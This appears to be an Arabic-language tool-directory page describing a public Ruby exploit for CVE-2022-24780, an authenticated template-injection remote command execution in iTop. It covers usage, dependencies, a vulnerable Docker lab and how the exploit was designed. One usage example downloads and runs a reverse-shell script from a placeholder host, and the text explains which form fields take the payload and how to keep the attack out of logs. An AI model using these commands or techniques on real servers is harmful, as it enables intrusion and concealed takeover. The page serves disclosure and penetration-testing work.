Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
exploit-CVE-2022-24780 — iTop < 2.7.6 - (مصادقة) تنفيذ أوامر عن بُعد | Kitploit
أدوات/GitHubGitHub/acceis/exploit-cve-2022-24780
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubacceis/exploit-cve-2022-24780

exploit-CVE-2022-24780

iTop < 2.7.6 - (مصادقة) تنفيذ أوامر عن بُعد

عرض المستودع
64منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

استغلال ثغرة iTop RCE عبر SSTI - CVE-2022-24780

iTop < 2.7.6 - تنفيذ أوامر عن بُعد (يتطلب مصادقة)

أداة استغلال لـ CVE-2022-24780.

[EDB-TODO] [PacketStorm] [WLB-2022050075]

الاستخدام

root@kitploit:~
$ ruby exploit.rb -h
iTop < 2.7.6 - تنفيذ أوامر عن بُعد (يتطلب مصادقة)

الاستخدام:
  exploit.rb full <url> <username> <password> <cmd> [--debug]
  exploit.rb light <url> <username> <password> <cmd> [--debug]
  exploit.rb -h | --help

  full: استغلال باستخدام متصفح محاكى، تنفيذ JavaScript، الحفاظ على معلومات ملف المستخدم الأصلي
  light: مجرد تحليل HTML وإرسال الطلبات، بدون JavaScript، (تدميري) إعادة تعيين معلومات المستخدم: الهاتف، الموقع، الوظيفة

الخيارات:
  <url>       عنوان URL الجذر (المسار الأساسي) بما في ذلك مخطط HTTP والمنفذ والمجلد الجذر
  <username>  اسم مستخدم بوابة iTop
  <password>  كلمة مرور مستخدم بوابة iTop
  <cmd>       الأمر المراد تنفيذه على الهدف
  --debug     عرض الوسائط
  -h, --help  عرض هذه الشاشة

أمثلة:
  exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
  exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'

النكهات

النكهة الكاملة للأداة تستخدم Watir عبر متصفح ويب مدعوم بـ Selenium لمحاكاة تصفح المستخدم. هذا ضروري للحفاظ على معلومات المستخدم. تقوم الأداة بحقن حمولة SSTI في جزء فرعي من النموذج المستخدم لتعديل معلومات المستخدم في ملف المستخدم على البوابة. بينما يمكن ترميز بعض القيم ثابتًا أو استرجاعها من HTML، فإن القيم الأخرى (الهاتف، الموقع، الوظيفة) تُحمّل ديناميكيًا عبر JavaScript وتُحقن في HTML. لذا، لكي لا تكون الأداة تدميرية، من الضروري تنفيذ JavaScript لاسترجاع تلك القيم.

النكهة الخفيفة للأداة لا تهتم كثيرًا وستقوم بشكل تدميري بتعيين قيمة فارغة لبعض حقول معلومات المستخدم (الهاتف، الموقع، الوظيفة) بدلاً من ذلك. لكن هذه النكهة أسرع في التنفيذ، وتتطلب تبعيات أقل، ولا تنفذ أي JavaScript، ولا تحتاج إلى بيئة X (Watir تحتاجها لتشغيل المتصفح).

المتطلبات

الملخص: قم بتثبيت الكل باستخدام bundle install

النكهة الكاملة

  • httpx
  • docopt.rb
  • watir
  • webdrivers

مثال باستخدام gem:

root@kitploit:~
gem install httpx docopt watir webdrivers

النكهة الخفيفة

  • httpx
  • docopt.rb
  • Nokogiri

مثال باستخدام gem:

root@kitploit:~
gem install httpx docopt nokogiri

القيود

لا يُنصح باستخدام حمولات تحتوي على علامات اقتباس مزدوجة (") أو شرطة مائلة للخلف (\) لأن الحمولة تُحقن في JSON.

نشر Docker للبرنامج الضعيف

تحذير: هذه الحاوية غير مناسبة للاستخدام الإنتاجي!

باستخدام vbkunin/itop:2.7.4 - المصدر - Docker Hub

root@kitploit:~
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4

المراجع

  • البرنامج المستهدف: iTop
    • الصفحة الرئيسية: https://www.itophub.io/
    • البائع: https://www.combodo.com/itop
    • عرض توضيحي عبر الإنترنت: https://www.combodo.com/itop-access-to-the-demonstration
    • المصدر:
      • https://github.com/Combodo/iTop
      • https://sourceforge.net/projects/itop/files/itop/
    • الإصدارات الضعيفة:
      • فرع 2.x: < 2.7.6
      • فرع 3.x: < 3.0.0 (مثل 3.0.0-beta-7312)
    • التصحيحات:
      • https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
      • https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
      • https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
    • النشرات الإرشادية:
      • https://www.opencve.io/cve/CVE-2022-24780
      • https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
      • https://attackerkb.com/topics/tcUqij2rjR/cve-2022-24780

تم اكتشاف الثغرة بواسطة Markus KRELL.

تحليل الثغرة من قبل المكتشف:

  • iTop – Template Injection inside customer Portal

إخلاء مسؤولية

ACCEIS لا تروج أو تشجع أي نشاط غير قانوني، جميع المحتويات المقدمة في هذا المستودع مخصصة لأغراض البحث والتعليم واكتشاف التهديدات فقط.

البحث

الاستغلال

كمدقق أمني (أو أي دور آخر من القبعات البيضاء)، من ناحية تريد تشغيل سكريبت استغلال للتحقق من قابلية الاستغلال العملي الفعلية للثغرة النظرية بناءً على رقم إصدار التطبيق الذي حددته، ولكن من ناحية أخرى تريد أن يتم ذلك بشكل صحيح دون أي إجراء تدميري حتى يبقى تطبيق العميل في نفس الحالة التي اكتشفتها عليها أولاً.

على سبيل المثال، يحدث هذا الاستغلال على صفحة ملف المستخدم، لذا يوجد نموذج بمعلومات المستخدم المملوءة مسبقًا: الاسم الأول، الاسم، معرف المؤسسة، البريد الإلكتروني، الهاتف، معرف الموقع، الوظيفة، معرف المدير. لكي يعمل الهجوم، تحتاج فقط إلى تجاوز الحقول الضعيفة وملء الحقول الأخرى بقيم فارغة أو عشوائية إذا كانت مطلوبة. هذا ما تفعله النكهة الخفيفة للأداة. لكن القيام بذلك سيدمر المعلومات الفعلية لذلك المستخدم، وهذا ليس مشكلة في بيئة اختبار، لكنه مشكلة حقيقية إذا كنت في بيئة إنتاج. القبعة السوداء لن تهتم بكل ذلك، ولكن كقبعة بيضاء يجب علينا الحفاظ على البيانات. لذا الحل هو جلب البيانات الفعلية وإعادة استخدامها في طلب POST الخاص بنا.

في تطبيقات الويب التقليدية، غالبًا ما تحتاج فقط إلى صياغة طلب POST مباشر مع المعاملات الصحيحة مستهدفًا النقطة الضعيفة. أحيانًا تحتاج إلى التعامل مع الجلسات / الكوكيز، عمليات إعادة التوجيه، بعض الحالات السابقة التي قد تكون مطلوبة، جلب بعض المعرفات أو رموز CSRF المضادة، لكن كل ذلك يظل مباشرًا ويمكن تحقيقه مع أي مكتبة HTTP تقريبًا بأي لغة.

لجلب البيانات الفعلية، عندما تأتي البيانات في النموذج من:

  • استجابة الخادم، تحتاج فقط إلى استخراج الصفحة وتحليل HTML؛
  • طلب XHR يتم إرساله إلى API ويتم استبدال البيانات في HTML بواسطة JavaScript، لا تحتاج إلى JavaScript، يمكنك صياغة طلب POST آخر إلى API لاسترجاع البيانات بنفسك.

يبدأ الأمر في الصعوبة قليلاً في بعض تطبيقات الويب الحديثة حيث يتم تعيين العديد من القيم من خلال عمليات JavaScript معقدة. هنا لا يمكنك ببساطة تحليل HTML أو طلب REST API، ولا يمكنك أيضًا استرجاع القيمة من ملف JavaScript مباشرة أو تحليل عدة أسطر وإعادة حساب قيمة. عندما يكون حساب JS معقدًا جدًا، أو يحدث في العديد من ملفات JS المختلفة، أو أن كود المصدر JS مشوش أو مضغوط، فسيتطلب ذلك مجهودًا ووقتًا كبيرين لعكس آلية الاستخراج واستخراج القيمة. في هذه الحالة، تحتاج فعليًا إلى التفاعل مع JavaScript من التطبيق. لكن سكريبت استغلال تقليدي يحتاج فقط إلى مكتبة HTTP ولا يمكنه فعل ذلك (بمفرده)!

استغلال الثغرة يدويًا سهل، فقط تصفح التطبيق، ودع المتصفح يتعامل مع كل JavaScript، فقط قم بإعداد بروكسي اعتراض مثل Burp Suite لتتمكن من تعديل الطلب قبل إرساله وستكون جاهزًا. لكن القيام بنفس الشيء بطريقة آلية أصعب بكثير. للتفاعل مع JavaScript وتنفيذها نحتاج إلى متصفح بدون واجهة (قد يتطلب أو لا يتطلب بيئة عرض) ومكتبة محاكاة للمستخدم. لحسن الحظ، توجد بالفعل مكتبات اختبار وظيفية متقدمة يمكننا استخدامها لقيادة المتصفح بدون واجهة. أشهرها هو Selenium، ولكن هناك أيضًا Cypress. خارج مجموعات الاختبار، هناك أيضًا مكتبات تقدم أتمتة أكثر عمومية مثل Playwright أو Puppeteer. في كلتا الحالتين، يتم استخدام DSL يحاكي سلوك المستخدم تمامًا كما لو كان المستخدم يستخدم التطبيق، لذا سيقوم الكود الذي سنكتبه بإخبار المتصفح "انقر هنا"، "أدخل اسمي في حقل الاسم"، "انقر على هذا الرابط"، إلخ. حدود أطر الاختبار هي أنها تسمح لك فقط بفعل ما يمكن للمستخدم العادي فعله، على سبيل المثال المستخدم العادي لا يجلب محتوى علامة script أو حقل مخفي، لذا لا يمكنك فعل ذلك أيضًا. كما أنها مصممة لجلب القيم ومقارنتها بما تتوقعه، وليس لتعيينها. أيضًا التنفيذ باستخدام متصفح بدون واجهة أبطأ بكثير وقد يتطلب كتابة DSL مرهقة. لذا في النهاية نريد استخدام المتصفح بدون واجهة وإطار الاختبار بأقل قدر ممكن.

ما تفعله النكهة الخفيفة للأداة هو الاتصال بالتطبيق، جلب نموذج ملف المستخدم لاسترجاع جميع القيم الممكنة واستخدام قيم فارغة لرقم الهاتف ومعرف الموقع والوظيفة، ثم إرسال الاستغلال.

أما ما تفعله النكهة الكاملة فهو الاتصال بالتطبيق، جلب نموذج ملف المستخدم لاسترجاع جميع القيم الممكنة، ثم استخدام المتصفح بدون واجهة للاتصال، جلب نموذج ملف المستخدم لاسترجاع القيم الثلاث التي تم تعيينها من JavaScript، ثم إرسال الاستغلال. إنها إلى حد كبير نفس العملية باستثناء أننا لا نستخدم قيمًا فارغة لحقول البيانات المملوءة في JavaScript بل نسترجعها فعليًا باستخدام متصفح بدون واجهة سيقوم بتنفيذ JavaScript التي تملأ تلك القيم لتتمكن من استرجاعها. من الممكن تقنيًا أيضًا كتابة الاستغلال بنسبة 100% باستخدام المتصفح بدون واجهة فقط ولكن سنواجه القيود التي نوقشت سابقًا، ولهذا اخترت النهج الهجين مع الحد الأدنى من استخدام المتصفح بدون واجهة.

الثغرة

كاتب اكتشاف الثغرة CVE-2022-24780، Markus KRELL، كتب مقالة تحليل مفصلة في مدونته: iTop – Template Injection inside customer Portal.

باختصار، تحدث الثغرة عند تغيير ملف المستخدم. عندما يرسل المستخدم النموذج لتحديث معلوماته، سيرسل كائن JSON ضخم يحتوي على بيانات وصفية متنوعة للنهاية الخلفية، ولكن بيانات المستخدم المطلوب تحديثها تُخزن كـ XHTML في العقدة الفرعية formproperties.layout.content من JSON. لكن Markus لاحظ في الكود المصدري أن formproperties.layout.type يمكن أن يقبل إما XHTML أو Twig. بالطبع عندما رأى Twig مذكورًا فكر فورًا في إمكانية SSTI. لذا جرب كل الحقول في المحتوى لتحديد حقل ضعيف ووجد أن السمات data-field-id و data-field-flags ضعيفة. ثم أصبح من الممكن استخدام حمولات حقن قوالب Twig التقليدية. بالإضافة إلى ذلك، اكتشف أن إضافة |join(',') إلى التعبير يحول المصفوفة الناتجة إلى سلسلة وبذلك يتجنب إدخالًا في سجلات iTop لجعل الهجوم أكثر تمويهًا.

تنزيل الأداة